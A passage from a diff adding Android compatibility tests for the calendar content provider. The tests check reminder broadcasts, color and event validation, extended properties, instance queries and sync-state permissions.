+                null, null);
+        assertEquals(1, count);
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * A listener for the EVENT_REMINDER broadcast that is expected to be fired by the
+     * provider at the reminder time.
+     */
+    public class MockReminderReceiver extends BroadcastReceiver {
+        public boolean received = false;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            final String action = intent.getAction();
+            if (action.equals(CalendarContract.ACTION_EVENT_REMINDER)) {
+                received = true;
+            }
+        }
+    }
+
+    /**
+     * Test that reminders result in the expected broadcast at reminder time.
+     */
+    public void testRemindersAlarm() throws Exception {
+        // Setup: register a mock listener for the broadcast we expect to fire at the
+        // reminder time.
+        final MockReminderReceiver reminderReceiver = new MockReminderReceiver();
+        IntentFilter filter = new IntentFilter(CalendarContract.ACTION_EVENT_REMINDER);
+        filter.addDataScheme("content");
+        getInstrumentation().getTargetContext().registerReceiver(reminderReceiver, filter);
+
+        // Clean up just in case.
+        String account = "rem_account";
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar.  Use '1' as seed as this sets the VISIBLE field to 1.
+        // The calendar must be visible for its notifications to occur.
+        long calendarId = createAndVerifyCalendar(account, 1, null);
+
+        // Create event for 15 min in the past, with a 10 min reminder, so that it will
+        // trigger immediately.
+        ContentValues eventValues;
+        int seed = 0;
+        long now = System.currentTimeMillis();
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.put(Events.DTSTART, now - DateUtils.MINUTE_IN_MILLIS * 15);
+        eventValues.put(Events.DTEND, now + DateUtils.HOUR_IN_MILLIS);
+        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId >= 0);
+        ReminderHelper.addReminder(mContentResolver, eventId, 10, Reminders.METHOD_ALERT);
+
+        // Confirm that the EVENT_REMINDER broadcast was fired by the provider.
+        new PollingCheck(POLLING_TIMEOUT) {
+            @Override
+            protected boolean check() {
+                return reminderReceiver.received;
+            }
+        }.run();
+        assertTrue(reminderReceiver.received);
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    @MediumTest
+    public void testColorWriteRequirements() {
+        String account = "colw_account";
+        String account2 = "colw2_account";
+        int seed = 0;
+        Uri uri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
+        Uri uri2 = asSyncAdapter(Colors.CONTENT_URI, account2, CTS_TEST_TYPE);
+
+        // Clean up just in case
+        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+        ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+
+        ContentValues colorValues = new ContentValues();
+        // Account name/type must be in the query params, so may be left
+        // out here
+        colorValues.put(Colors.DATA, "0");
+        colorValues.put(Colors.COLOR_KEY, "1");
+        colorValues.put(Colors.COLOR_TYPE, 0);
+        colorValues.put(Colors.COLOR, 0xff000000);
+
+        // Verify only a sync adapter can write to Colors
+        try {
+            mContentResolver.insert(Colors.CONTENT_URI, colorValues);
+            fail("Should not allow non-sync adapter to insert colors");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Verify everything except DATA is required
+        ContentValues testVals = new ContentValues(colorValues);
+        for (String key : colorValues.keySet()) {
+
+            testVals.remove(key);
+            try {
+                Uri colUri = mContentResolver.insert(uri, testVals);
+                if (!TextUtils.equals(key, Colors.DATA)) {
+                    // The DATA field is allowed to be empty.
+                    fail("Should not allow color creation without " + key);
+                }
+                ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+            } catch (IllegalArgumentException e) {
+                if (TextUtils.equals(key, Colors.DATA)) {
+                    // The DATA field is allowed to be empty.
+                    fail("Should allow color creation without " + key);
+                }
+            }
+            testVals.put(key, colorValues.getAsString(key));
+        }
+
+        // Verify writing a color works
+        Uri col1 = mContentResolver.insert(uri, colorValues);
+
+        // Verify adding the same color fails
+        try {
+            mContentResolver.insert(uri, colorValues);
+            fail("Should not allow adding the same color twice");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Verify specifying a different account than the query params doesn't work
+        colorValues.put(Colors.ACCOUNT_NAME, account2);
+        try {
+            mContentResolver.insert(uri, colorValues);
+            fail("Should use the account from the query params, not the values.");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Verify adding a color to a different account works
+        Uri col2 = mContentResolver.insert(uri2, colorValues);
+
+        // And a different index on the same account
+        colorValues.put(Colors.COLOR_KEY, "2");
+        Uri col3 = mContentResolver.insert(uri2, colorValues);
+
+        // Verify that all three colors are in the table
+        Cursor c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+        assertEquals(1, c.getCount());
+        c.close();
+        c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+        assertEquals(2, c.getCount());
+        c.close();
+
+        // Verify deleting them works
+        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+        ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+
+        c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+        assertEquals(0, c.getCount());
+        c.close();
+        c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+        assertEquals(0, c.getCount());
+        c.close();
+    }
+
+    /**
+     * Tests Colors interaction with the Calendars table.
+     */
+    @MediumTest
+    public void testCalendarColors() {
+        String account = "cc_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+
+        // Test inserting a calendar with an invalid color index
+        ContentValues cv = CalendarHelper.getNewCalendarValues(account, seed++);
+        cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex");
+        Uri calSyncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
+        Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
+
+        try {
+            Uri uri = mContentResolver.insert(calSyncUri, cv);
+            fail("Should not allow insertion of invalid color index into Calendars");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Test updating a calendar with an invalid color index
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+        cv.clear();
+        cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex2");
+        Uri calendarUri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
+        try {
+            mContentResolver.update(calendarUri, cv, null, null);
+            fail("Should not allow update of invalid color index into Calendars");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
+
+        // Test that inserting a valid color index works
+        cv = CalendarHelper.getNewCalendarValues(account, seed++);
+        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
+
+        Uri uri = mContentResolver.insert(calSyncUri, cv);
+        long calendarId2 = ContentUris.parseId(uri);
+        assertTrue(calendarId2 >= 0);
+        // And updates the calendar's color to the one in the table
+        cv.put(Calendars.CALENDAR_COLOR, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
+        verifyCalendar(account, cv, calendarId2, 2);
+
+        // Test that updating a valid color index also updates the color in a
+        // calendar
+        cv.clear();
+        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
+        mContentResolver.update(calendarUri, cv, null, null);
+        Cursor c = mContentResolver.query(calendarUri,
+                new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
+                null, null, null);
+        try {
+            c.moveToFirst();
+            String index = c.getString(0);
+            int color = c.getInt(1);
+            assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
+            assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+
+        // And clearing it doesn't change the color
+        cv.put(Calendars.CALENDAR_COLOR_KEY, (String) null);
+        mContentResolver.update(calendarUri, cv, null, null);
+        c = mContentResolver.query(calendarUri,
+                new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
+                null, null, null);
+        try {
+            c.moveToFirst();
+            String index = c.getString(0);
+            int color = c.getInt(1);
+            assertEquals(index, null);
+            assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0], color);
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+
+        // Test that setting a calendar color to an event color fails
+        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0]);
+        try {
+            mContentResolver.update(calendarUri, cv, null, null);
+            fail("Should not allow a calendar to use an event color");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Test that you can't remove a color that is referenced by a calendar
+        cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]);
+        mContentResolver.update(calendarUri, cv, null, null);
+
+        try {
+            mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
+                    new String[] {
+                            account, CTS_TEST_TYPE,
+                            ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]
+                    });
+            fail("Should not allow deleting referenced color");
+        } catch (UnsupportedOperationException e) {
+            // WAI
+        }
+
+        // Clean up
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+    }
+
+    /**
+     * Tests Colors interaction with the Events table.
+     */
+    @MediumTest
+    public void testEventColors() {
+        String account = "ec_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+
+        // Test inserting an event with an invalid color index
+        long cal_id = createAndVerifyCalendar(account, seed++, null);
+
+        Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
+
+        ContentValues ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
+        ev.put(Events.EVENT_COLOR_KEY, "badIndex");
+
+        try {
+            Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
+            fail("Should not allow insertion of invalid color index into Events");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Test updating an event with an invalid color index fails
+        long event_id = createAndVerifyEvent(account, seed++, cal_id, false, null);
+        ev.clear();
+        ev.put(Events.EVENT_COLOR_KEY, "badIndex2");
+        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, event_id);
+        try {
+            mContentResolver.update(eventUri, ev, null, null);
+            fail("Should not allow update of invalid color index into Events");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
+
+        // Test that inserting a valid color index works
+        ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
+        final String defaultColorIndex = ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0];
+        ev.put(Events.EVENT_COLOR_KEY, defaultColorIndex);
+
+        Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
+        long eventId2 = ContentUris.parseId(uri);
+        assertTrue(eventId2 >= 0);
+        // And updates the event's color to the one in the table
+        final int expectedColor = ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_0];
+        ev.put(Events.EVENT_COLOR, expectedColor);
+        verifyEvent(ev, eventId2);
+
+        // Test that event iterator has COLOR columns
+        final EntityIterator iterator = EventsEntity.newEntityIterator(mContentResolver.query(
+                ContentUris.withAppendedId(EventsEntity.CONTENT_URI, eventId2),
+                null, null, null, null), mContentResolver);
+        assertTrue("Empty Iterator", iterator.hasNext());
+        final Entity entity = iterator.next();
+        final ContentValues values = entity.getEntityValues();
+        assertTrue("Missing EVENT_COLOR", values.containsKey(EventsEntity.EVENT_COLOR));
+        assertEquals("Wrong EVENT_COLOR",
+                expectedColor,
+                (int) values.getAsInteger(EventsEntity.EVENT_COLOR));
+        assertTrue("Missing EVENT_COLOR_KEY", values.containsKey(EventsEntity.EVENT_COLOR_KEY));
+        assertEquals("Wrong EVENT_COLOR_KEY",
+                defaultColorIndex,
+                values.getAsString(EventsEntity.EVENT_COLOR_KEY));
+        iterator.close();
+
+        // Test that updating a valid color index also updates the color in an
+        // event
+        ev.clear();
+        ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
+        mContentResolver.update(eventUri, ev, null, null);
+        Cursor c = mContentResolver.query(eventUri, new String[] {
+                Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
+        }, null, null, null);
+        try {
+            c.moveToFirst();
+            String index = c.getString(0);
+            int color = c.getInt(1);
+            assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
+            assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1]);
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+
+        // And clearing it doesn't change the color
+        ev.put(Events.EVENT_COLOR_KEY, (String) null);
+        mContentResolver.update(eventUri, ev, null, null);
+        c = mContentResolver.query(eventUri, new String[] {
+                Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
+        }, null, null, null);
+        try {
+            c.moveToFirst();
+            String index = c.getString(0);
+            int color = c.getInt(1);
+            assertEquals(index, null);
+            assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1], color);
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+
+        // Test that setting an event color to a calendar color fails
+        ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_2]);
+        try {
+            mContentResolver.update(eventUri, ev, null, null);
+            fail("Should not allow an event to use a calendar color");
+        } catch (IllegalArgumentException e) {
+            // WAI
+        }
+
+        // Test that you can't remove a color that is referenced by an event
+        ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
+        mContentResolver.update(eventUri, ev, null, null);
+        try {
+            mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
+                    new String[] {
+                            account, CTS_TEST_TYPE,
+                            ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]
+                    });
+            fail("Should not allow deleting referenced color");
+        } catch (UnsupportedOperationException e) {
+            // WAI
+        }
+
+        // TODO test colors with exceptions
+
+        // Clean up
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+    }
+
+    /**
+     * Tests creation and manipulation of ExtendedProperties.
+     */
+    @MediumTest
+    public void testExtendedProperties() {
+        String account = "ep_account";
+        int seed = 0;
+
+        // Clean up just in case.
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar.
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create events.
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId1 >= 0);
+
+        /*
+         * Add some extended properties.
+         */
+        long epId1 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
+                eventId1, "first", "Jeffrey");
+        long epId2 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
+                eventId1, "last", "Lebowski");
+        long epId3 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
+                eventId1, "title", "Dude");
+
+        /*
+         * Spot-check a couple of entries.
+         */
+        Cursor cursor = ExtendedPropertiesHelper.findExtendedPropertiesByEventId(mContentResolver,
+                eventId1);
+        try {
+            assertEquals(3, cursor.getCount());
+            //DatabaseUtils.dumpCursor(cursor);
+
+            while (cursor.moveToNext()) {
+                String name =
+                    cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_NAME_INDEX);
+                String value =
+                    cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_VALUE_INDEX);
+
+                if (name.equals("last")) {
+                    assertEquals("Lebowski", value);
+                }
+            }
+
+            String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
+                    "title");
+            assertEquals("Dude", title);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+
+        // Update the title.  Must be done as a sync adapter.
+        ContentValues newValues = new ContentValues();
+        newValues.put(ExtendedProperties.VALUE, "Big");
+        Uri uri = ContentUris.withAppendedId(ExtendedProperties.CONTENT_URI, epId3);
+        uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+        int count = mContentResolver.update(uri, newValues, null, null);
+        assertEquals(1, count);
+
+        // check it
+        String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
+                "title");
+        assertEquals("Big", title);
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    private class CalendarEventHelper {
+
+      private long mCalendarId;
+      private String mAccount;
+      private int mSeed;
+
+      public CalendarEventHelper(String account, int seed) {
+        mAccount = account;
+        mSeed = seed;
+        ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
+        mCalendarId = createAndVerifyCalendar(account, seed++, values);
+      }
+
+      public ContentValues addEvent(String timeString, int timeZoneIndex, long duration) {
+        long event1Start = timeInMillis(timeString, timeZoneIndex);
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(mAccount, mSeed++, mCalendarId, true);
+        eventValues.put(Events.DESCRIPTION, timeString);
+        eventValues.put(Events.DTSTART, event1Start);
+        eventValues.put(Events.DTEND, event1Start + duration);
+        eventValues.put(Events.EVENT_TIMEZONE, TIME_ZONES[timeZoneIndex]);
+        long eventId = createAndVerifyEvent(mAccount, mSeed, mCalendarId, true, eventValues);
+        assertTrue(eventId >= 0);
+        return eventValues;
+      }
+
+      public long getCalendarId() {
+        return mCalendarId;
+      }
+    }
+
+    /**
+     * Test query to retrieve instances within a certain time interval.
+     */
+    public void testWhenByDayQuery() {
+      String account = "cser_account";
+      int seed = 0;
+
+      // Clean up just in case
+      CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+      // Create a calendar
+      CalendarEventHelper helper = new CalendarEventHelper(account, seed);
+
+      // Add events to the calendar--the first two in the queried range
+      List<ContentValues> eventsWithinRange = new ArrayList<ContentValues>();
+
+      ContentValues values = helper.addEvent("2009-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
+      eventsWithinRange.add(values);
+
+      values = helper.addEvent("2010-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
+      eventsWithinRange.add(values);
+
+      helper.addEvent("2011-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
+
+      // Prepare the start time and end time of the range to query
+      String startTime = "2009-01-01T00:00:00";
+      String endTime = "2011-01-01T00:00:00";
+      int julianStart = getJulianDay(startTime, 0);
+      int julianEnd = getJulianDay(endTime, 0);
+      Uri uri = Uri.withAppendedPath(
+          CalendarContract.Instances.CONTENT_BY_DAY_URI, julianStart + "/" + julianEnd);
+
+      // Query the range, sorting by event start time
+      Cursor c = mContentResolver.query(uri, null, Instances.CALENDAR_ID + "="
+              + helper.getCalendarId(), null, Events.DTSTART);
+
+      // Assert that two events are returned
+      assertEquals(c.getCount(), 2);
+
+      Set<String> keySet = new HashSet();
+      keySet.add(Events.DESCRIPTION);
+      keySet.add(Events.DTSTART);
+      keySet.add(Events.DTEND);
+      keySet.add(Events.EVENT_TIMEZONE);
+
+      // Verify that the contents of those two events match the cursor results
+      verifyContentValuesAgainstCursor(eventsWithinRange, keySet, c);
+    }
+
+    private void verifyContentValuesAgainstCursor(List<ContentValues> cvs,
+        Set<String> keys, Cursor cursor) {
+      assertEquals(cursor.getCount(), cvs.size());
+
+      cursor.moveToFirst();
+
+      int i=0;
+      do {
+        ContentValues cv = cvs.get(i);
+        for (String key : keys) {
+          assertEquals(cv.get(key).toString(),
+                  cursor.getString(cursor.getColumnIndex(key)));
+        }
+        i++;
+      } while (cursor.moveToNext());
+
+      cursor.close();
+    }
+
+    private long timeInMillis(String timeString, int timeZoneIndex) {
+      Time startTime = new Time(TIME_ZONES[timeZoneIndex]);
+      startTime.parse3339(timeString);
+      return startTime.toMillis(false);
+    }
+
+    private int getJulianDay(String timeString, int timeZoneIndex) {
+      Time time = new Time(TIME_ZONES[timeZoneIndex]);
+      time.parse3339(timeString);
+      return Time.getJulianDay(time.toMillis(false), time.gmtoff);
+    }
+
+    /**
+     * Test instance queries with search parameters.
+     */
+    @MediumTest
+    public void testInstanceSearch() {
+        String account = "cser_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create a calendar
+        ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
+        long calendarId = createAndVerifyCalendar(account, seed++, values);
+
+        String testStart = "2009-10-01T08:00:00";
+        String timeZone = TIME_ZONES[0];
+        Time startTime = new Time(timeZone);
+        startTime.parse3339(testStart);
+        long startMillis = startTime.toMillis(false);
+
+        // Create some events, with different descriptions.  (Could also create a single
+        // recurring event and some instance exceptions.)
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.put(Events.DESCRIPTION, "testevent event-one fiddle");
+        eventValues.put(Events.DTSTART, startMillis);
+        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS);
+        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId1 >= 0);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.put(Events.DESCRIPTION, "testevent event-two fuzzle");
+        eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS);
+        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
+        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId2 >= 0);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.put(Events.DESCRIPTION, "testevent event-three fiddle");
+        eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
+        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 3);
+        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+        long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId3 >= 0);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.put(Events.DESCRIPTION, "nontestevent");
+        eventValues.put(Events.DTSTART, startMillis + (long) (DateUtils.HOUR_IN_MILLIS * 1.5f));
+        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
+        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+        long eventId4 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId4 >= 0);
+
+        String rangeStart = "2009-10-01T00:00:00";
+        String rangeEnd = "2009-10-01T11:59:59";
+        String[] projection = new String[] { Instances.BEGIN };
+
+        if (false) {
+            Cursor instances = getInstances(timeZone, rangeStart, rangeEnd, projection,
+                    new long[] { calendarId });
+            dumpInstances(instances, timeZone, "all");
+            instances.close();
+        }
+
+        Cursor instances;
+        int count;
+
+        // Find all matching "testevent".  The search matches on partial strings, so this
+        // will also pick up "nontestevent".
+        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+                "testevent", false, projection, new long[] { calendarId });
+        count = instances.getCount();
+        instances.close();
+        assertEquals(4, count);
+
+        // Find all matching "fiddle" and "event".  Set the "by day" flag just to be different.
+        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+                "fiddle event", true, projection, new long[] { calendarId });
+        count = instances.getCount();
+        instances.close();
+        assertEquals(2, count);
+
+        // Find all matching "fiddle" and "baluchitherium".
+        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+                "baluchitherium fiddle", false, projection, new long[] { calendarId });
+        count = instances.getCount();
+        instances.close();
+        assertEquals(0, count);
+
+        // Find all matching "event-two".
+        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+                "event-two", false, projection, new long[] { calendarId });
+        count = instances.getCount();
+        instances.close();
+        assertEquals(1, count);
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    @MediumTest
+    public void testCalendarUpdateAsApp() {
+        String account = "cu1_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create a calendar
+        ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
+        long id = createAndVerifyCalendar(account, seed++, values);
+
+        Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, id);
+
+        // Update the calendar using the direct Uri
+        ContentValues updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(
+                values, seed++);
+        assertEquals(1, mContentResolver.update(uri, updateValues, null, null));
+
+        verifyCalendar(account, values, id, 1);
+
+        // Update the calendar using selection + args
+        String selection = Calendars._ID + "=?";
+        String[] selectionArgs = new String[] { Long.toString(id) };
+
+        updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(values, seed++);
+
+        assertEquals(1, mContentResolver.update(
+                Calendars.CONTENT_URI, updateValues, selection, selectionArgs));
+
+        verifyCalendar(account, values, id, 1);
+
+        removeAndVerifyCalendar(account, id);
+    }
+
+    // TODO test calendar updates as sync adapter
+
+    /**
+     * Test access to the "syncstate" table.
+     */
+    @MediumTest
+    public void testSyncState() {
+        String account = "ss_account";
+        int seed = 0;
+
+        // Clean up just in case
+        SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true);
+
+        // Create a new sync state entry
+        ContentValues values = SyncStateHelper.getNewSyncStateValues(account);
+        long id = createAndVerifySyncState(account, values);
+
+        // Look it up with the by-ID URI
+        Cursor c = SyncStateHelper.getSyncStateById(mContentResolver, id);
+        assertNotNull(c);
+        assertEquals(1, c.getCount());
+        c.close();
+
+        // Try to remove it as non-sync-adapter; expected to fail.
+        boolean failed;
+        try {
+            SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, false);
+            failed = false;
+        } catch (IllegalArgumentException iae) {
+            failed = true;
+        }
+        assertTrue("deletion of sync state by app was allowed", failed);
+
+        // Remove it and verify that it's gone
+        removeAndVerifySyncState(account);
+    }
+
+
+    private void verifyEvent(ContentValues values, long eventId) {
+        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+        // Verify
+        Cursor c = mContentResolver
+                .query(eventUri, EventHelper.EVENTS_PROJECTION, null, null, null);
+        assertEquals(1, c.getCount());
+        assertTrue(c.moveToFirst());
+        assertEquals(eventId, c.getLong(0));
+        for (String key : values.keySet()) {
+            int index = c.getColumnIndex(key);
+            assertEquals(key, values.getAsString(key), c.getString(index));
+        }
+        c.close();
+    }
+
+    @MediumTest
+    public void testEventCreationAndDeletion() {
+        String account = "ec1_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar and event
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        ContentValues eventValues = EventHelper
+                .getNewEventValues(account, seed++, calendarId, true);
+        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+        removeAndVerifyEvent(eventUri, eventValues, account);
+
+        // Attempt to create an event without a calendar ID.
+        ContentValues badValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        badValues.remove(Events.CALENDAR_ID);
+        try {
+            createAndVerifyEvent(account, seed, calendarId, true, badValues);
+            fail("was allowed to create an event without CALENDAR_ID");
+        } catch (IllegalArgumentException iae) {
+            // expected
+        }
+
+        // Validation may be relaxed for content providers, so test missing timezone as app.
+        badValues = EventHelper.getNewEventValues(account, seed++, calendarId, false);
+        badValues.remove(Events.EVENT_TIMEZONE);
+        try {
+            createAndVerifyEvent(account, seed, calendarId, false, badValues);
+            fail("was allowed to create an event without EVENT_TIMEZONE");
+        } catch (IllegalArgumentException iae) {
+            // expected
+        }
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    @MediumTest
+    public void testEventUpdateAsApp() {
+        String account = "em1_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create event as sync adapter
+        ContentValues eventValues = EventHelper
+                .getNewEventValues(account, seed++, calendarId, true);
+        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+        // Update event as app
+        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+        ContentValues updateValues = EventHelper.getUpdateEventValuesWithOriginal(eventValues,
+                seed++, false);
+        assertEquals(1, mContentResolver.update(eventUri, updateValues, null, null));
+        updateValues.put(Events.DIRTY, 1);      // provider should have marked as dirty
+        verifyEvent(updateValues, eventId);
+
+        // Try nulling out a required value.
+        ContentValues badValues = new ContentValues(updateValues);
